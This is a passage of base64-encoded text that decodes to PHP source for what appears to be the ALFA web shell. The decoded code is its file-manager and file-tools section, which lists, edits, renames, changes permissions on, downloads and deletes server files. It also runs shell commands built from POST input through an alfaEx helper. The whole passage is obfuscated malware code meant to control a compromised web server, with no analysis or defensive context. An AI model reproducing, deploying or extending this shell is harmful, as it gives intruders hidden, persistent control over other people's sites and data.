ZpbGVzX3BhZ2VfbnVtYmVyID4gKCRmaWxlc19wYWdlX2NvdW50LTEpKXsKJGFsZmFfZmlsZXNfcGFnZV9udW1iZXIgPSAxOwp9CiRjaGVja2JveF9yYW5kID0gcmFuZCgxMTExMSwgOTk5OTkpOwplY2hvICI8Zm9ybSBvbnN1Ym1pdD0nZmModGhpcyk7cmV0dXJuIGZhbHNlOycgbmFtZT0nZmlsZXMnIG1ldGhvZD0ncG9zdCc+PHRhYmxlIGlkPSdmaWxlbWFuYWdlcl90YWJsZScgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPjx0cj48dGggd2lkdGg9JzEzcHgnPjxkaXYgY2xhc3M9J215Q2hlY2tib3gnIHN0eWxlPSdwYWRkaW5nLWxlZnQ6MHB4Oyc+PGlucHV0IHR5cGU9J2NoZWNrYm94JyBpZD0nbWNoayIuJGNoZWNrYm94X3JhbmQuIicgb25jbGljaz0nY2hlY2tCb3godGhpcyk7JyBjbGFzcz0nY2hrYngnPjxsYWJlbCBmb3I9J21jaGsiLiRjaGVja2JveF9yYW5kLiInPjwvbGFiZWw+PC9kaXY+PC90aD48dGg+TmFtZTwvdGg+PHRoPlNpemU8L3RoPjx0aD5Nb2RpZnk8L3RoPjx0aD5Pd25lci9Hcm91cDwvdGg+PHRoPlBlcm1pc3Npb25zPC90aD48dGg+QWN0aW9uczwvdGg+PC90cj4iOwokZGlycyA9ICRmaWxlcyA9IGFycmF5KCk7CiRuID0gJGNvdW50X2RpckNvbnRlbnQ7CmlmKCRuID4gJGFsZmFfbGltaXRlZF9maWxlcyAmJiAkYWxmYV9saW1pdGVkX2ZpbGVzID4gMCl7CiRuID0gKCRhbGZhX2xpbWl0ZWRfZmlsZXMgKiAkYWxmYV9maWxlc19wYWdlX251bWJlcik7CmlmKCRuID4gJGNvdW50X2RpckNvbnRlbnQpewokbiA9ICRjb3VudF9kaXJDb250ZW50Owp9Cn0KJGkgPSAwOwppZigkYWxmYV9saW1pdGVkX2ZpbGVzID4gMCAmJiAkYWxmYV9maWxlc19wYWdlX251bWJlciA+IDEpewokaSA9ICRhbGZhX2xpbWl0ZWRfZmlsZXMgKiAoJGFsZmFfZmlsZXNfcGFnZV9udW1iZXIgLSAxKTsKfQokcGFnZV9idWlsZGVyID0gZ2V0X3BhZ2luYXRpb25fbGlua3MoJGFsZmFfZmlsZXNfcGFnZV9udW1iZXIsJGZpbGVzX3BhZ2VfY291bnQgLTEpOwokY21kX2Rpcl9iYWNrcCA9ICIiOwpmb3IoOyRpPCRuOyRpKyspewppZigkY21kX2Rpcil7CiRmaWxlbmFtZSA9ICRkaXJDb250ZW50WyRpXVsibmFtZSJdOwokZmlsZV9vd25lciA9ICRkaXJDb250ZW50WyRpXVsib3duZXIiXTsKJGZpbGVfZ3JvdXAgPSAkZGlyQ29udGVudFskaV1bImdyb3VwIl07CiRmaWxlX21vZGlmeSA9IEBkYXRlKCdZLW0tZCBIOmk6cycsICRkaXJDb250ZW50WyRpXVsibW9kaWZ5Il0pOwokZmlsZV9wZXJtID0gYWxmYVBlcm1zQ29sb3IoYXJyYXkoImNsYXNzIj0+JGRpckNvbnRlbnRbJGldWyJwZXJtY29sb3IiXSwibnVtIj0+JGRpckNvbnRlbnRbJGldWyJwZXJtbnVtIl0sImh1bWFuIj0+JGRpckNvbnRlbnRbJGldWyJwZXJtaHVtYW4iXSksdHJ1ZSk7CiRmaWxlX3NpemUgPSAkZGlyQ29udGVudFskaV1bInNpemUiXTsKaWYoc3Vic3RyKCRkaXJDb250ZW50WyRpXVsibmFtZSJdLCAwICwxKSA9PSAiLyIpewokZmlsZV9wYXRoID0gJGRpckNvbnRlbnRbJGldWyJuYW1lIl07CiRkaXJDb250ZW50WyRpXVsibmFtZSJdID0gIi4uIjsKJGZpbGVuYW1lID0gJGRpckNvbnRlbnRbJGldWyJuYW1lIl07Cn1lbHNlewokZmlsZV9wYXRoID0gJEdMT0JBTFNbJ2N3ZCddLiIvIi4kZGlyQ29udGVudFskaV1bIm5hbWUiXTsKfQp9ZWxzZXsKJGZpbGVuYW1lID0kZGlyQ29udGVudFskaV07CiRvdyA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKT9AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRnciA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlZ3JvdXAiKT9AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRmaWxlX293bmVyID0gJG93WyduYW1lJ10/JG93WyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25lcigkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKToiPz8/PyIpOwokZmlsZV9ncm91cCA9ICRnclsnbmFtZSddPyRnclsnbmFtZSddOihmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZSk6Ij8/Pz8iKTsKJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZmlsZW5hbWUpKTsKJGZpbGVfcGVybSA9IGFsZmFQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpOwokZmlsZV9zaXplID0gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpOwokZmlsZV9wYXRoID0gJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZTsKfQokdG1wID0gYXJyYXkoJ25hbWUnID0+ICRmaWxlbmFtZSwKJ3BhdGgnID0+ICRmaWxlX3BhdGgsCidtb2RpZnknID0+ICRmaWxlX21vZGlmeSwKJ3Blcm1zJyA9PiAkZmlsZV9wZXJtLAonc2l6ZScgPT4gJGZpbGVfc2l6ZSwKJ293bmVyJyA9PiAkZmlsZV9vd25lciwKJ2dyb3VwJyA9PiAkZmlsZV9ncm91cAopOwppZigkZmlsZW5hbWUgPT0gIi4uIiAmJiAhJGNtZF9kaXIpewokdG1wWyJwYXRoIl0gPSBzdHJfcmVwbGFjZSgiXFwiLCAiLyIsIHJlYWxwYXRoKCRmaWxlX3BhdGgpKTsKfQppZighJGNtZF9kaXIpewppZihAaXNfZmlsZSgkZmlsZV9wYXRoKSl7CiRhcnJfbXJnID0gYXJyYXkoJ3R5cGUnID0+ICdmaWxlJyk7CmlmKEBpc19saW5rKCRmaWxlX3BhdGgpKXsKJGFycl9tcmdbImxpbmsiXSA9IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSk7Cn0KJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCAkYXJyX21yZyk7Cn1lbHNlaWYoQGlzX2xpbmsoJGZpbGVfcGF0aCkpewokZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJywgJ2xpbmsnID0+IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsKfWVsc2VpZihAaXNfZGlyKCRmaWxlX3BhdGgpJiYgKCRmaWxlbmFtZSAhPSAiLiIpKXsKJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZGlyJykpOwp9Cn1lbHNlewppZigkZGlyQ29udGVudFskaV1bInR5cGUiXT09ImZpbGUiKXsKJGZpbGVzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2ZpbGUnKSk7Cn1lbHNlewppZigkZGlyQ29udGVudFskaV1bIm5hbWUiXSAhPSAiLiIpewokZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdkaXInKSk7Cn0KfQp9Cn0KJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OwpmdW5jdGlvbiBhbGZhQ21wKCRhLCAkYikgewppZigkR0xPQkFMU1snc29ydCddWzBdICE9ICdzaXplJykKcmV0dXJuIHN0cmNtcChzdHJ0b2xvd2VyKCRhWyRHTE9CQUxTWydzb3J0J11bMF1dKSwgc3RydG9sb3dlcigkYlskR0xPQkFMU1snc29ydCddWzBdXSkpKigkR0xPQkFMU1snc29ydCddWzFdPzE6LTEpOwplbHNlCnJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7Cn0KdXNvcnQoJGZpbGVzLCAiYWxmYUNtcCIpOwp1c29ydCgkZGlycywgImFsZmFDbXAiKTsKaWYoaXNzZXQoJF9DT09LSUVbImFsZmFfZmlsZXNtYW5fZGlyZWN0aW9uIl0pJiYgIWVtcHR5KCRfQ09PS0lFWyJhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvbiJdKSl7CmlmKCRfQ09PS0lFWyJhbGZhX2ZpbGVzbWFuX2RpcmVjdGlvbiJdID09ICdkZXNjJyl7CiRmaWxlcyA9IGFycmF5X3JldmVyc2UoJGZpbGVzKTsKJGRpcnMgPSBhcnJheV9yZXZlcnNlKCRkaXJzKTsKfQp9CiRmaWxlcyA9IGFycmF5X21lcmdlKCRkaXJzLCAkZmlsZXMpOwokbD0wOwokY2M9MDsKZm9yZWFjaCgkZmlsZXMgYXMgJGYpewokZlsnbmFtZSddID0gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKTsKJG5ld25hbWUgPSBtYl9zdHJsZW4oJGZbJ25hbWUnXSwgJ1VURi04Jyk+NjA/bWJfc3Vic3RyKCRmWyduYW1lJ10sIDAsIDYwLCAndXRmLTgnKS4nLi4uJzokZlsnbmFtZSddOwokY2hlY2tib3ggPSAnY2hlY2tib3hfJy4kY2hlY2tib3hfcmFuZC4kY2M7CiRyYXdfbmFtZSA9IHJhd3VybGVuY29kZSgkZlsnbmFtZSddKTsKJGljb24gPSAkR0xPQkFMU1snREJfTkFNRSddWydzaG93X2ljb25zJ10/JzxpbWcgc3JjPSInLmZpbmRpY29uKCRmWyduYW1lJ10sJGZbJ3R5cGUnXSkuJyIgd2lkdGg9IjMwIiBoZWlnaHQ9IjMwIj4nOicnOwokc3R5bGUgPSAkR0xPQkFMU1snREJfTkFNRSddWydzaG93X2ljb25zJ10/J3Bvc2l0aW9uOnJlbGF0aXZlO2Rpc3BsYXk6aW5saW5lLWJsb2NrO2JvdHRvbToxMnB4Oyc6Jyc7CmVjaG8gJzx0ciBjbGFzcz0iZm1hbmFnZXItcm93IiBpZD0idHJfcm93XycuJGNjLiciPjx0ZD48ZGl2IGNsYXNzPSJteUNoZWNrYm94Ij48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9ImZbXSIgdmFsdWU9IicuJHJhd19uYW1lLiciIGNsYXNzPSJjaGtieCIgaWQ9IicuJGNoZWNrYm94IC4nIj48bGFiZWwgZm9yPSInLiRjaGVja2JveCAuJyI+PC9sYWJlbD48L2Rpdj48L3RkPjx0ZCBpZD0idGRfcm93XycuJGNjLiciPicuJGljb24uJzxkaXYgc3R5bGU9IicuJHN0eWxlLiciPjxhIHJvdz0iJy4kY2MuJyIgaWQ9ImlkXycuJGNjLiciIGNsYXNzPSJtYWluX25hbWUiIG9uY2xpY2s9IicuKCgkZlsndHlwZSddPT0nZmlsZScpPydlZGl0b3IoXCcnLiRyYXdfbmFtZS4nXCcsXCdhdXRvXCcsXCdcJyxcJ1wnLFwnXCcsXCcnLiRmWyd0eXBlJ10uJ1wnKTsiIGhyZWY9IiNhY3Rpb249ZmlsZW1hbiZwYXRoPScuJEdMT0JBTFNbJ2N3ZCddLicmZmlsZT0nLiRyYXdfbmFtZS4nIiBmbmFtZT0iJy4kcmF3X25hbWUuJyIgZnR5cGU9ImZpbGUiIHBhdGg9IicuJEdMT0JBTFNbJ2N3ZCddLiciIG9wdF90aXRsZT0iJy4kZlsnbGluayddLiciICcuKGlzc2V0KCRmWydsaW5rJ10pPydvbm1vdXNlb3Zlcj0ic2hvd1N5bWxpbmtQYXRoKHRoaXMsZXZlbnQpOyIgb25tb3VzZW91dD0iaGlkZVN5bWxpbmtQYXRoKHRoaXMsZXZlbnQpOyInOicnKS4nPicuKCRHTE9CQUxTWydjd2QnXS4kZlsnbmFtZSddPT0kR0xPQkFMU1snX19maWxlX3BhdGgnXT8iPHNwYW4gY2xhc3M9J3NoZWxsX25hbWUnIHN0eWxlPSdmb250LXdlaWdodDp1bnNldDsnPiIuJGZbJ25hbWUnXS4iPC9zcGFuPiI6aHRtbHNwZWNpYWxjaGFycygkbmV3bmFtZSkpOidnKFwnRmlsZXNNYW5cJyxcJycuJGZbJ3BhdGgnXS4nXCcpOyIgaHJlZj0iI2FjdGlvbj1maWxlbWFuJnBhdGg9Jy4kZlsncGF0aCddLiciIGZuYW1lPSInLiRyYXdfbmFtZS4nIiBmdHlwZT0iZm9sZGVyIiBwYXRoPSInLiRHTE9CQUxTWydjd2QnXS4nIiBvcHRfdGl0bGU9IicuJGZbJ2xpbmsnXS4nIiAnLihpc3NldCgkZlsnbGluayddKT8nb25tb3VzZW92ZXI9InNob3dTeW1saW5rUGF0aCh0aGlzLGV2ZW50KTsiIG9ubW91c2VvdXQ9ImhpZGVTeW1saW5rUGF0aCh0aGlzLGV2ZW50KTsiJzonJykuJz48Yj58ICcgLiBodG1sc3BlY2lhbGNoYXJzKCRmWyduYW1lJ10pIC4gJyB8PC9iPicpLic8L2E+PC90ZD48L2Rpdj48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fc2l6ZSI+Jy4oKCRmWyd0eXBlJ109PSdmaWxlJyk/KGlzc2V0KCRmWydsaW5rJ10pPydbTF0gJzonJykuYWxmYVNpemUoJGZbJ3NpemUnXSk6JGZbJ3R5cGUnXSkuJzwvc3Bhbj48L3RkPjx0ZD48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6dW5zZXQ7IiBjbGFzcz0ibWFpbl9tb2RpZnkiPicuJGZbJ21vZGlmeSddLic8L3NwYW4+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fb3duZXJfZ3JvdXAiPicuJGZbJ293bmVyJ10uJy8nLiRmWydncm91cCddLic8L3NwYW4+PC90ZD48dGQ+PGEgaWQ9ImlkX2NobW9kZV8nLiRjYy4nIiBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJlZGl0b3IoXCcnLiRyYXdfbmFtZS4nXCcsXCdjaG1vZFwnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJykiPicuCiRmWydwZXJtcyddLic8L3RkPjx0ZD48YSBpZD0iaWRfcmVuYW1lXycuJGNjLiciIHRpdGxlPSJSZW5hbWUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnLiRyYXdfbmFtZS4nXCcsIFwncmVuYW1lXCcsXCdcJyxcJ1wnLFwnXCcsXCcnLiRmWyd0eXBlJ10uJ1wnKSI+UjwvYT4gPGEgaWQ9ImlkX3RvdWNoXycuJGNjLiciIHRpdGxlPSJNb2RpZnkgRGF0ZXRpbWUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnLiRyYXdfbmFtZS4nXCcsIFwndG91Y2hcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj5UPC9hPicuKCgkZlsndHlwZSddPT0nZmlsZScpPycgPGEgaWQ9ImlkX2VkaXRfJy4kY2MuJyIgY2xhc3M9ImFjdGlvbnMiIHRpdGxlPSJFZGl0IiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJlZGl0b3IoXCcnLiRyYXdfbmFtZS4nXCcsIFwnZWRpdFwnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJykiPkU8L2E+IDxhIGlkPSJpZF9kb3dubG9hZF8nLiRjYy4nIiB0aXRsZT0iRG93bmxvYWQiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJnKFwnRmlsZXNUb29sc1wnLG51bGwsXCcnLiRyYXdfbmFtZS4nXCcsIFwnZG93bmxvYWRcJykiPkQ8L2E+JzonJykuJzxhIGlkPSJpZF9kZWxldGVfJy4kY2MuJyIgdGl0bGU9IkRlbGV0ZSIgY2xhc3M9ImFjdGlvbnMiIGhyZWY9ImphdmFzY3JpcHQ6dm9pZCgwKTsiIG9uY2xpY2s9InZhciBjaGsgPSBjb25maXJtKFwnQXJlIFlvdSBTdXJlIEZvciBEZWxldGUgIyAnLmFkZHNsYXNoZXMocmF3dXJsZGVjb2RlKCRmWyduYW1lJ10pKS4nICMgP1wnKTsgY2hrID8gZyhcJ0ZpbGVzTWFuXCcsbnVsbCxcJ2RlbGV0ZVwnLCBcJycuJHJhd19uYW1lLidcJykgOiBcJ1wnOyI+IFggPC9hPjwvdGQ+PC90cj4nOwokbCA9ICRsPzA6MTsKJGNjKys7Cn0KZWNobyAiPHRyIGlkPSdmaWxlbWFuYWdlcl9sYXN0X3RyJz48dGQgY29sc3Bhbj03Pgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdGaWxlc01hbic+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygoJEdMT0JBTFNbJ2dsb2JfY2hkaXJfZmFsc2UnXT8kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pKS4iJz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuIic+CjxzZWxlY3QgaWQ9J3Rvb2xzX3NlbGVjdG9yJyBuYW1lPSdhbGZhMSc+PG9wdGlvbiB2YWx1ZT0nY29weSc+Q29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J21vdmUnPk1vdmU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdkZWxldGUnIHNlbGVjdGVkPkRlbGV0ZTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3ppcCc+QWRkIDIgQ29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd1bnppcCc+QWRkIDIgVW5jb21wcmVzcyAoemlwKTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3Bhc3RlJz5QYXN0ZTwvb3B0aW9uPjwvc2VsZWN0Pgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nPj4nPgo8L2Zvcm0+PC90YWJsZT48ZGl2IGNsYXNzPSdwYWdlcy1ob2xkZXInPjxkaXYgY2xhc3M9J3BhZ2VzLW51bWJlcic+Ii4kcGFnZV9idWlsZGVyLiI8L2Rpdj48L2Rpdj48L2Rpdj48L2Rpdj4iOwphbGZhZm9vdGVyKCk7Cn0KZnVuY3Rpb24gZ2V0X3BhZ2luYXRpb25fbGlua3MoJGN1cnJlbnRfcGFnZSwgJHRvdGFsX3BhZ2VzKXsKJGxpbmtzID0gIiI7CmlmICgkdG90YWxfcGFnZXMgPj0gMSAmJiAkY3VycmVudF9wYWdlIDw9ICR0b3RhbF9wYWdlcykgewokbGlua3MgLj0gIjxhIG9uY2xpY2s9XCJwYWdlQ2hhbmdlZEZpbGVzTWFuKHRoaXMpO1wiIGNsYXNzPVwicGFnZS1udW1iZXJcIj48PDwvYT4iOwokc2VsZWN0ZWRfcGFnZSA9ICIiOwppZigkY3VycmVudF9wYWdlID09IDEpewokc2VsZWN0ZWRfcGFnZSA9ICIgYWN0aXZlLXBhZ2UtbnVtYmVyIjsKfQokbGlua3MgLj0gIjxhIG9uY2xpY2s9XCJwYWdlQ2hhbmdlZEZpbGVzTWFuKHRoaXMpO1wiIGNsYXNzPVwicGFnZS1udW1iZXIiLiRzZWxlY3RlZF9wYWdlLiJcIj4xPC9hPiI7CiRpID0gbWF4KDIsICRjdXJyZW50X3BhZ2UgLSA1KTsKaWYgKCRpID4gMikKJGxpbmtzIC49ICI8YSBjbGFzcz1cInBhZ2UtbnVtYmVyXCI+Li4uPC9hPiI7CmZvciAoOyAkaSA8IG1pbigkY3VycmVudF9wYWdlICsgNiwgJHRvdGFsX3BhZ2VzKTsgJGkrKykgewppZigkaSA9PSAkY3VycmVudF9wYWdlKXsKJHNlbGVjdGVkX3BhZ2UgPSAiIGFjdGl2ZS1wYWdlLW51bWJlciI7Cn1lbHNlewokc2VsZWN0ZWRfcGFnZSA9ICIiOwp9CiRsaW5rcyAuPSAiPGEgb25jbGljaz1cInBhZ2VDaGFuZ2VkRmlsZXNNYW4odGhpcyk7XCIgY2xhc3M9XCJwYWdlLW51bWJlciIuJHNlbGVjdGVkX3BhZ2UuIlwiPnskaX08L2E+IjsKfQppZiAoJGkgIT0gJHRvdGFsX3BhZ2VzKQokbGlua3MgLj0gIjxhIGNsYXNzPVwicGFnZS1udW1iZXJcIj4uLi48L2E+IjsKJHNlbGVjdGVkX3BhZ2UgPSAiIGxhc3QtcGFnZS1udW1iZXIiOwppZigkY3VycmVudF9wYWdlID09ICR0b3RhbF9wYWdlcyl7CiRzZWxlY3RlZF9wYWdlIC49ICIgYWN0aXZlLXBhZ2UtbnVtYmVyIjsKfQokbGlua3MgLj0gIjxhIG9uY2xpY2s9XCJwYWdlQ2hhbmdlZEZpbGVzTWFuKHRoaXMpO1wiIGNsYXNzPVwicGFnZS1udW1iZXIiLiRzZWxlY3RlZF9wYWdlLiJcIj57JHRvdGFsX3BhZ2VzfTwvYT4iOwokbGlua3MgLj0gIjxhIG9uY2xpY2s9XCJwYWdlQ2hhbmdlZEZpbGVzTWFuKHRoaXMpO1wiIGNsYXNzPVwicGFnZS1udW1iZXJcIj4+PjwvYT4iOwp9CnJldHVybiAkbGlua3M7Cn0KZnVuY3Rpb24gYWxmYUZpbGVzVG9vbHMoKXsKYWxmYWhlYWQoKTsKZWNobyAnPGRpdiBjbGFzcz0iZmlsZXN0b29scyIgc3R5bGU9ImhlaWdodDogMTAwJTsiPic7CmlmKGlzc2V0KCRfUE9TVFsnYWxmYTEnXSkpJF9QT1NUWydhbGZhMSddID0gcmF3dXJsZGVjb2RlKCRfUE9TVFsnYWxmYTEnXSk7CiRhbGZhMV9kZWNvZGVkID0gJF9QT1NUWydhbGZhMSddOwokY2hkaXJfZmFscyA9IGZhbHNlOwppZighQGNoZGlyKCRfUE9TVFsnYyddKSl7CiRjaGRpcl9mYWxzID0gdHJ1ZTsKJF9QT1NUWydhbGZhMSddID0gJF9QT1NUWyJjIl0uIi8iLiRfUE9TVFsiYWxmYTEiXTsKJGFsZmFfY2FucnVuY21kID0gX2FsZmFfY2FuX3J1bkNvbW1hbmQodHJ1ZSx0cnVlKTsKaWYoJGFsZmFfY2FucnVuY21kKXsKJHNsYXNoZWRfYWxmYTEgPSBhZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTEnXSk7CiRmaWxlX2luZm8gPSBleHBsb2RlKCI6IiwgYWxmYUV4KCdzdGF0IC1jICIlRjolVTolRzolczolWTowJWE6JUEiICInLiRzbGFzaGVkX2FsZmExLiciJykpOwokcGVybV9jb2xvcl9jbGFzcyA9IGFsZmFFeCgiaWYgW1sgLXcgJyIuJHNsYXNoZWRfYWxmYTEuIicgXV07IHRoZW4gZWNobyBtYWluX2dyZWVuX3Blcm07IGVsaWYgW1sgLXIgJyIuJHNsYXNoZWRfYWxmYTEuIicgXV07IHRoZW4gZWNobyBtYWluX3doaXRlX3Blcm07IGVsc2UgZWNobyBtYWluX3JlZF9wZXJtOyBmaSIpOwp9Cn0KaWYoJF9QT1NUWydhbGZhMiddID09ICdhdXRvJyl7CmlmKGlzX2FycmF5KEBnZXRpbWFnZXNpemUoJF9QT1NUWydhbGZhMSddKSkpewokX1BPU1RbJ2FsZmEyJ10gPSAnaW1hZ2UnOwp9ZWxzZXsKJF9QT1NUWydhbGZhMiddID0gJ3ZpZXcnOwppZigkY2hkaXJfZmFscyl7CmlmKCRhbGZhX2NhbnJ1bmNtZCl7CiRtaW1lID0gZXhwbG9kZSgiOiIsIGFsZmFFeCgiZmlsZSAtLW1pbWUtdHlwZSAnIi5hZGRzbGFzaGVzKCRfUE9TVFsnYWxmYTEnXSkuIiciKSk7CiRtaW1ldHlwZSA9ICRtaW1lWzFdOwppZighZW1wdHkoJG1pbWV0eXBlKSl7CmlmKHN0cnN0cigkbWltZXR5cGUsICJpbWFnZSIpKXsKJF9QT1NUWydhbGZhMiddID0gJ2ltYWdlJzsKfQp9Cn0KfQp9Cn0KaWYoJF9QT1NUWydhbGZhMiddID09ICJyZW5hbWUiICYmICFlbXB0eSgkX1BPU1RbJ2FsZmEzJ10pICYmIEBpc193cml0YWJsZSgkX1BPU1RbJ2FsZmExJ10pKXskcmVuYW1lX2NhY2hlID0gJF9QT1NUWydhbGZhMyddO30KaWYoQCRfUE9TVFsnYWxmYTInXSA9PSAnbWtmaWxlJyl7CiRfUE9TVFsnYWxmYTEnXSA9IHRyaW0oJF9QT1NUWydhbGZhMSddKTsKaWYoJGNoZGlyX2ZhbHMmJiRhbGZhX2NhbnJ1bmNtZCl7CmlmKF9hbGZhX2lzX3dyaXRhYmxlKCRfUE9TVFsiYyJdKSl7CmFsZmFFeCgiY2QgJyIuYWRkc2xhc2hlcygkX1BPU1RbImMiXSkuIic7dG91Y2ggJyIuYWRkc2xhc2hlcygkYWxmYTFfZGVjb2RlZCkuIiciKTsKJF9QT1NUWydhbGZhMiddID0gImVkaXQiOwp9Cn0KaWYoIUBmaWxlX2V4aXN0cygkX1BPU1RbJ2FsZmExJ10pKXsKJGZwID0gQGZvcGVuKCRfUE9TVFsnYWxmYTEnXSwgJ3cnKTsKaWYoJGZwKXsKJF9QT1NUWydhbGZhMiddID0gImVkaXQiOwpmY2xvc2UoJGZwKTsKfQp9ZWxzZXsKJF9QT1NUWydhbGZhMiddID0gImVkaXQiOwp9Cn0KaWYoIV9hbGZhX2ZpbGVfZXhpc3RzKEAkX1BPU1RbJ2FsZmExJ10pKXsKZWNobyBfX3ByZSgpLiI8Y2VudGVyPjxwPjxkaXYgY2xhc3M9XCJ0eHRmb250XCI+PGZvbnQgY29sb3I9J3JlZCc+IS4uLkZJTEUgRE9FU1QgTk9UIEVYSVRTLi4uITwvZm9udD48L2Rpdj48L3A+PC9jZW50ZXI+PC9kaXY+PHNjcmlwdD5lZGl0b3JfZXJyb3I9ZmFsc2U7cmVtb3ZlSGlzdG9yeSgnIi4kX1BPU1RbJ2FsZmE0J10uIicpOzwvc2NyaXB0PiI7CmFsZmFGb290ZXIoKTsKcmV0dXJuOwp9CmlmKCRjaGRpcl9mYWxzKXsKJGZpbGVzaXplID0gJGZpbGVfaW5mb1szXTsKJHVpZFsibmFtZSJdID0gJGZpbGVfaW5mb1sxXTsKJGdpZFsibmFtZSJdID0gJGZpbGVfaW5mb1syXTsKJHBlcm1jb2xvciA9IGFsZmFQZXJtc0NvbG9yKGFycmF5KCJjbGFzcyI9PiRwZXJtX2NvbG9yX2NsYXNzLCJudW0iPT4kZmlsZV9pbmZvWzVdLCJodW1hbiI9PiRmaWxlX2luZm9bNl0pLHRydWUpOwp9ZWxzZXsKJHVpZCA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKT9AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lcigkX1BPU1RbJ2FsZmExJ10pKTonJzsKJGdpZCA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlZ3JvdXAiKT9AcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ2FsZmExJ10pKTonJzsKaWYoISR1aWQmJiEkZ2lkKXsKJHVpZFsnbmFtZSddID0gZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKT9AZmlsZW93bmVyKCRfUE9TVFsnYWxmYTEnXSk6Jyc7CiRnaWRbJ25hbWUnXSA9IGZ1bmN0aW9uX2V4aXN0cygiZmlsZWdyb3VwIik/QGZpbGVncm91cCgkX1BPU1RbJ2FsZmExJ10pOicnOwp9CiRwZXJtY29sb3IgPSBhbGZhUGVybXNDb2xvcigkX1BPU1RbJ2FsZmExJ10pOwokZmlsZXNpemUgPSBAZmlsZXNpemUoJF9QT1NUWydhbGZhMSddKTsKaWYoIWlzc2V0KCR1aWRbJ25hbWUnXSwkZ2lkWyduYW1lJ10pfHxlbXB0eSgkdWlkWyduYW1